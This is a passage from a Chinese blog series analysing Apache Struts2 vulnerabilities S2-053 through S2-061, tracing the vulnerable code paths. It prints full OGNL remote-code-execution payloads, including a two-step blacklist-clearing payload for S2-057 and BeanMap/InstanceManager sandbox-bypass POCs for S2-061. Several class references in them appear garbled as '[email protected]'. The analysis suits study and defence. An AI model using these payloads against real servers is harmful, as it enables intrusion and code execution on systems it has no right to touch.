            <result type="freemarker" name="success">hello.ftl</result>
        </action>
    </package>
</struts>

为 Action 添加一个 redirectUri 属性

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 hello.ftl 模板文件中写入官方通告中受影响的方式。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

访问一下这个参数,可以看到确实是进行了解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

那么究竟是如何触发的呢?通过触发点看来,应该是在 Freemarker 处理最后的返回结果时导致的,这有点像 S2-001 ,又有点像 S2-013。

在 S2-001 中我们已经分析过,用户 Action 逻辑走完后,会调用 DefaultActionInvocation 的 executeResult() 方法,调用 Result 实现类里的 execute() 方法开始处理这次请求的结果。

对于 Freemarker 来说,这个实现类是 FreemarkerResult 方法,将会执行他的 doExecute 方法处理最终的返回结果信息。

首先获取模版的绝对路径,再通过 this.configuration.getTemplate 获取模版的信息.然后调用template.process(model, writer) 开始解析模版。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

使用 createProcessingEnvironment 方法创建解析环境 Environment ,并调用其 process() 方法解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个方法就是将 Template 里面的每个元素解析成 TemplateElement 不同的元素,并调用不同元素的 accept 方法再去解析元素内部的内容。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这部分其实跟 OGNL 的解析过程类似,其实做解析的基本上都是这样,TemplateElement 有多个子类,这些子类根据各自的情况实现了不同的 accept 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个漏洞的触发点就是其中的子类 UnifiedCall ,它的 accept 方法解析标签中的 name 等参数,并调用 Environment 的 visitAndTransform 方法处理。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在这个方法中会调用 TransformControl 的 onStart() 方法和 afterBody() 方法来处理最终内容,这部分与 S2-013 就非常像。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

afterBody() 方法调用对应组件 Bean 的 end() 方法,例如 UIBean 将会调用 evaluateParams() 方法,调用 findString() 方法,继续调用 findValue() 方法,最终调用 TextParseUtil.translateVariables() 触发漏洞。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

payload 与 S2-045 一致,不再重复。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

S2-055

XStream 都报了,Jackson 肯定也报啊。

影响版本:Struts 2.5 – Struts 2.5.14 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-055 描述:由于使用了较低版本的 Jackson 导致的安全漏洞。

在 S2-052 中,我们分析了在 Struts2 REST 插件中由于没有安全的使用 Xstream 组件导致了反序列化漏洞的情况。

在当时其实就可以发现,除了 xml 格式的支持,Struts2 REST 插件还默认支持了 json 格式的数据。可以使用Jackson 插件来解析 json。但是在默认的配置中,对于 Json 的解析使用的是 JsonLibHandler。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

如果我们想要使用 Jackson 来进行解析,那么需要在 struts.xml 文件中进行如下配置:

<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
<constant name="struts.rest.handlerOverride.json" value="jackson"/>

指定了之后,就会指定 JacksonLibHandler 来处理 json 格式数据,我们看一下他的 toObject 方法:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

可以看到使用 ObjectMapper 获取 ObjectReader 对象,并直接调用 readValue 方法读取输入流中的内容。

Jackson 触发反序列化漏洞需要配置多态,也就是 fastjson 中的 autoType ,这个配置默认是不开启的,因此这个漏洞在利用上还是有一定的局限性。有几种方式配置多态,常见的有以下两种:

  1. 全局 Default Typing 机制:objectMapper.enableDefaultTyping();
  2. 为相应的 class 添加 @JsonTypeInfo 注解:@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)

这个漏洞由于不是 Struts2 自己的漏洞,这里就不花过多的篇幅进行赘述了。

这里还是使用 struts2-rest-plugin-2.5.12 版本进行测试,依赖的 jackson-databind 版本为 2.6.1 。gadget 我们就用经典的 TemplatesImpl 弹出计算器:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

前言

本系列第四篇文章,记录 s2-057/s2-059/s2-061 的调试过程。

S2-057

Struts2 处理重定向结果时,会从配置文件中取 namespace,如果取不到,会从当前 ActionMapping 中取,攻击者带入恶意的 namespace 在某些情况下可能导致漏洞。

影响版本:Struts 2.0.4 – Struts 2.3.34, Struts 2.5.0 – Struts 2.5.16 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-057 描述:namespace 处插入 OGNL 代码引发的漏洞。

漏洞作者从 S2-032/S2-033/S2-037 的漏洞中获得启发,Struts2 将不受信任的输入使用 ognl 解析导致了多个 RCE 漏洞,并且不停的修复。于是使用 QL 对常见 Struts2 RCE 的 sink/sources 点进行了定义,并配置 DataFlow 库追踪污点。这一手操作太强了,可以说我连看都没看懂,所以暂时不去分析作者的挖掘过程,只关注他爆出的漏洞点。

作者在其博客中列出了他找到的 5 个入口点,分别为 ServletActionRedirectResult/ActionChainResult/PostbackResult/ServletUrlRenderer/PortletActionRedirectResult。

这个点也可以说是 S2-012 的兄弟洞,在 S2-012 中,ServletRedirectResult 的 execute() 方法调用了 conditionalParse 方法二次解析了 this.location,而这个属性是用户配置的输入,造成了漏洞。而 S2-057 的基本原理也是类似,我们依次来分析一下这五个不同的入口点都对应了什么样的情况。

ServletActionRedirectResult

ServletActionRedirectResult 与 StrutsResultSupport 同为 StrutsResultSupport 的子类,用来处理重定向时的处理结果。它的 execute 方法会调用 conditionalParse 处理 actionName/namespace/method。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

当配置 result 类型为 redirectAction 时,结果将会重定向到另一个 Action,此时将会由 ServletActionRedirectResult 来处理。例如如下配置:

<package name="default" namespace="/" extends="struts-default">
        <action name="hello" class="org.su18.struts.action.HelloWorld">
            <result type="redirectAction">
                <param name="actionName">bye</param>
                <param name="namespace">hhh</param>
                <param name="id">123</param>
                <param name="name">phoebe</param>
                <param name="gender">girl</param>
            </result>
        </action>
    </package>

在访问 hello.action 后,结果将会根据我们的配置进行转发,浏览器会跳转页面:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

流程就是这样的流程,但是如何触发漏洞呢?在 ServletActionRedirectResult 的 execute 中我们可以看到,程序从我们的配置中获取了 actionName、namespace、method 三个参数的值,通过 ActionMapper 的 getUriFromActionMapping 方法将配置信息处理成要跳转的路径。并使用 setLocation 方法设置到 StrutsResultSupport 的 location 属性中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

然后执行父类的 execute 方法,调用 conditionalParse 方法解析 location 中的内容。接下来的流程与 S2-012 一致。

能影响最终 location 的就是我们配置的属性,其中 actionName 和 method 都是从配置文件中获取的,只有当 namespace 为空时,将会调用 invocation.getProxy().getNamespace() 获取当前 ActionProxy 中存放的 namespace。

在正常情况下,处理这个 namespace 属性是由 ActionMapping 的子类 DefaultActionMapper 中的 parseNameAndNamespace 方法实现:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

其中会判断 alwaysSelectFullNamespace,这个参数名为允许采用完整的命名空间,即设置命名空间是否必须进行精确匹配,true 必须,false 可以模糊匹配,默认是 false。进行精确匹配时要求请求 url 中的命名空间必须与配置文件中配置的某个命名空间必须相同,如果没有找到相同的则匹配失败。如果想要开启可以在 struts2.xml 中配置如下常量。

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

开启后,程序会在 ActionMapper 中放入精确的 namespace,否则通常情况下 namespace 会置为空。

这样这个漏洞的完整利用条件就可以理解了,在 Action 没有设置 namespace 属性,或使用了通配符,并且应用程序设置 alwaysSelectFullNamespace 为 true 时,攻击者可以通过 namespace 输入恶意 OGNL 表达式导致 RCE。

ActionChainResult

ActionChainResult 用来处理 Action 的链式调用,虽然本质上也是 Redirect,但是跳转后的 action 可以获取上个 Action 的相关信息,并且这个跳转是由内部进行实现的,用户端是无感知的。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

通过 ActionChainResult 的 execute 代码可以看到,获取 namespace 时是与 ServletActionRedirectResult 相同的逻辑,直接使用 TextParseUtil.translateVariables 解析触发漏洞。

当 result 类型设置为 chain 时,重定向结果由 ActionChainResult 处理。

<action name="hello" class="org.su18.struts.action.HelloWorld">
    <result type="chain">
        <param name="actionName">bye</param>
    </result>
</action>

而漏洞触发条件与 ServletActionRedirectResult 一致,触发位置也一致。

PostbackResult

PostbackResult 会将 Action 的处理结果作为请求参数进行 Action 转发。

PostbackResult 的处理逻辑与 ServletActionRedirectResult 几乎一致,以下图片用红框将关键点圈出来,不再用文字描述其中过程。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

当 result 类型设置为 chain 时,重定向结果由 PostbackResult 处理。

<action name="hello" class="org.su18.struts.action.HelloWorld">
    <result type="postback">
        <param name="actionName">bye</param>
    </result>
</action>

而漏洞触发条件与前两个一致,不再重复。

PortletActionRedirectResult

PortletActionRedirectResult 类位于插件 struts2-portlet-plugin 插件包中,处理逻辑与 ServletActionRedirectResult 基本一致,如下:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

需要配置 portlet.xml ,并在 struts.xml 中配置 result 类型为 redirect-action

<package name="default" extends="struts-portlet-default">
    <action name="hello" class="org.su18.struts.action.HelloWorld">
        <result type="redirect-action">
            <param name="actionName">bye</param>
        </result>
    </action>
</package>

而漏洞触发条件与之前一致,不再重复。

ServletUrlRenderer

除了上面几个重定向时对 namespace 的解析是属于同一种类的漏洞触发之外,漏洞作者还提到了 ServletUrlRenderer 这个类。

这个类在 S2-013 时我们就见过,Struts2 中使用链接标签 <s:a> 和 <s:url> 时,如果 includeParams 设置为 get/all,Struts2 会将当前请求的参数解析并带入链接标签中,造成漏洞。对于 S2-013 来说,重要的漏洞触发点就在于 ServletUrlRenderer 的 beforeRenderUrl() 和 renderUrl() 方法。

但是这个漏洞已经被修复了,把 renderUrl 方法中调用的 UrlHelper#buildParameterSubstring 中的解析功能删掉了,只保留了 URLEncode 编码。为什么在 S2-057 中又提到了这个点呢?

根据官方描述,当使用 URL 标签,并且同时没有设置 value 和 action ,而且上层的 package 没有设置 namespace 时可能会产生漏洞。

我们来复现一下,在 struts.xml 里设置 struts.mapper.alwaysSelectFullNamespace 为 true,package 中不设置 namespace,result 设置为 jsp。

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<package name="default" extends="struts-default">
    <action name="hello" class="org.su18.struts.action.HelloWorld">
        <result name="success">../index.jsp</result>
    </action>
</package>

JSP 中我们随便写一个 url tag,里面的 value 和 action 都不配置。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>S2-057</title>
</head>
<body>
<s:url>
    <s:param name="id">123</s:param>
</s:url>
</body>
</html>

此时启动项目访问即可触发漏洞。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

其实触发逻辑与前面 4 个一致,都是因为没有配置 namespace ,程序从当前 ActionMapping 中取,并拼接,拼接后被解析触发漏洞。

ServletUrlRenderer 的 renderUrl() 方法存在判断:如果 Value 和 Action 都为空时,将从ActionInvocation 的 ActionProxy 中获取 namespace,并传入 determineActionURL 方法处理。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

UrlProvider.determineActionURL 方法调用组件的 determineActionURL ,调用 determineNamespace 方法处理 namespace,而又调用 findString 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

findString 调用 findValue 方法,最终调用了 TextParseUtil.translateVariables 解析 namespace。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

好了,到此为止我们已经分析完了 S2-057 所有的触发点,那该如何构造 payload 呢?

在 Struts 2.5.11 版本后,在为 OgnlUtil 注入 excludedPackageNames、excludedClasses、excludedPackageNamePatterns 时,赋值前使用了 Collections.unmodifiableSet() 将这几个属性赋值成为了不可修改的 SET,用来防止在 S2-045 中我们清空 OgnlUtil 属性用来绕过黑名单的操作。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 2.5.13 版本中,使用了 OGNL 3.1.15 版本,这个版本中,在 OgnlContext 中,无论是 get/put/remove 还是其他相关的方法,都移除了对 context 关键字的支持,也就是说,我们无法再使用 #context 直接获取 context 对象了。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

那么根据 S2-045 的 payload,我们需要想办法绕过上面的限制:

  • 不使用 #context 关键字获取 context 对象。
  • 不能使用 clear 方法清空 OgnlUtil 中的 excludedPackageNames、excludedClasses、excludedPackageNamePatterns 的属性,应该寻找其他方法。

而这个绕过其实非常简单:

  1. 对于 #context 关键字的问题,我们可以使用 context 对象存在其他关键字对象中的引用来获取,通过寻找,可以使用如下方式获取:
    • 通过 request 中值栈的 context 属性:#request['struts.valueStack'].context
    • 通过 attr 中保存的 context 对象:#attr['com.opensymphony.xwork2.util.ValueStack.ValueStack'].context 或者 #attr['struts.valueStack'].context
  2. 对于清空 OgnlUtil 中的属性,其实就更简单了,在 S2-045 我们分析过,之所以没有使用赋值的形式进行清空,就是因为它的 set 方法只是将传入的字符串 add 进去。而现在是根据传入的字符串重新生成 unmodifiableSet,再进行赋值,那我们直接调用相应的 set 方法传入一些无关紧要的包名或者类名即可。

此处有一个点需要注意的是,由于 unmodifiableSet 的原因,我们使用了 set 方法改变 excludedPackageNames、excludedClasses、excludedPackageNamePatterns 属性的值,此时不是清空,而是修改了引用对象,而此时 OgnlValueStack.securityMemberAccess 的引用对象并没有变,所以并没有修改掉 securityMemberAccess 中的内容,但是我们在之前的分析就提到过,OgnlUtil 是单例对象,改过一次之后,下次获取还是这个,因此第二次再访问创建 OgnlValueStack 时,将会使用我们修改过的属性值,从而绕过黑名单。

因此最终的 payload 为:第一个请求用来清空 OgnlUtil 中的属性

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

第二个请求用来发送 payload

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('open -a Calculator.app'))

或者写在同一个请求中发送两次也可:

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('').(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('open -a Calculator.app')))}

S2-059

与 S2-029/S2-036 类似的漏洞点。

影响版本:Struts 2.0.0 – Struts 2.5.20 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-059 描述:不正确的给标签属性添加 OGNL 解析,可能会造成二次解析导致 RCE。

这个漏洞通俗来讲,就是用户在配置模板或者配置文件时,对一些属性和参数使用 “${}” 和 “%{}” 包裹,进行强制计算, 就会导致 OGNL 二次解析。

早在 S2-029 和 S2-036 就有了类似的安全公告,但是我没有去做分析,因为此类漏洞的主要成因是用户的配置错误,就好像 SQL 注入漏洞的成因是用户把不受信任的输入带入了数据库查询语句一样,你只能让开发者背锅,你没办法说是框架的锅。而之前的 S2-012、S2-013、S2-014、S2-015,也可以归结到此类漏洞范围中。

其中 S2-029 官方描述受影响的标签为:

<s:i18nname="%{#request.params}">su18</s:i18n>
<s:textname="%{#request.params}">su18</s:text>

S2-036 则描述 tag 内属性使用 %{...} 会导致 RCE。

而 S2-059 也是同样的漏洞。描述受影响的标签为 <s:a id="%{id}">S2-059</s:a>。简单搭建一个测试环境试一下:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个漏洞的实际触发还是在解析标签时由 ComponentTagSupport 的子类(也就是各个标签不同类型)在使用 start 方法解析时,调用了 Component#findString 方法导致了表达式的解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

漏洞触发和调用过程之前都分析过,都是相似的,在这里就不重复了。我们同时关注一下这个漏洞影响的最高版本 Struts 2.5.20 版本中的安全更新。

在 Struts 2.5.17 之后,官方更新了 excludedClasses 和 excludedPackageNames,在 excludedClasses 中移除了 ognl 包中的内容,但是在 excludedPackageNames 中加入了 com.opensymphony.xwork2.ognl. 。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

OnglUtil 中各个属性的 set 方法由 public 改为了 protected。包括三个黑名单属性值,此时我们将不能直接调用 set 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

并且重写了这几个 set 方法中,不再单纯的生成新 set 并重新引用,而是将原始的 set 加上用户输入最终处理成 Collections.unmodifiableSet() 再进行赋值。此时我们将不能通过 clear() 或者 set 方法清空其中的值。

在 ognl 3.2.10 版本之后,删除了 DefaultMemberAccess 类,同时删除了静态变量DEFAULT_MEMBER_ACCESS,并且 _memberAccess 变成了 final。SecurityMemberAccess 不再继承DefaultMemberAccess 而直接转为 MemberAccess 接口的实现。因此我们不再能使用 DEFAULT_MEMBER_ACCESS 对象覆盖 _memberAccess。

在更高版本的 ognl 中,调用方法的 invokeMethod 方法中进行了判断,禁止调用了一些经常使用的恶意黑名单方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

经过上述的安全更新之后,我们在 S2-057 以及之前绕过 Struts2 的的所有想法的策略基本都被禁掉了。因此想要执行恶意 OGNL 变得越来越难。

S2-061

S2-061 是对 S2-059 沙盒进行的绕过。

影响版本:Struts 2.0.0 – Struts 2.5.25 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-061 描述:依旧是由于标签中使用 %{} 导致的安全漏洞。

网络上流传了如下的 POC,说是可以用来绕过沙盒,我们来看一下:

%{
(#im=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bm=#im.newInstance("org.apache.commons.collections.BeanMap")).
(#bm.setBean(#stack)).
(#context=#bm.get("context")).
(#bm.setBean(#context)).
(#ma=#bm.get("memberAccess")).
(#bm.setBean(#ma)).
(#emptyset=#im.newInstance("java.util.HashSet")).
(#bm.put("excludedClasses",#emptyset)).
(#bm.put("excludedPackageNames",#emptyset)).
(#arglist=#im.newInstance("java.util.ArrayList")).
(#arglist.add("open -a Calculator.app").
(#execute=#im.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}

通过 POC 我们发现,这个利用方式是需要 Tomcat 的 InstanceManager 和 Commons-Collections 中的 BeanMap 依赖,也就是有条件的绕过,不再是像之前一样的通杀绕过沙盒。

这个版本的沙盒绕过思路,实际上是相当简单暴力,之前我们经历了若干个版本的攻与防,Struts2 官方通过黑名单、权限、类型的验证来限制我们执行恶意表达式,除了 OGNL 包里面方法调用时加的硬性限制之外,这些限制其实两个字就可以全都绕过:反射。

这就有点挖反序列化 gadget 的感觉了,POC 的具体分析这篇文章写的非常好,我这里就不再重复了,文中最后留的 POC 有下面两个:

使用 application:

%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 

(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 


(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 

(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

使用 request:

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 

(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 


(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 

(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。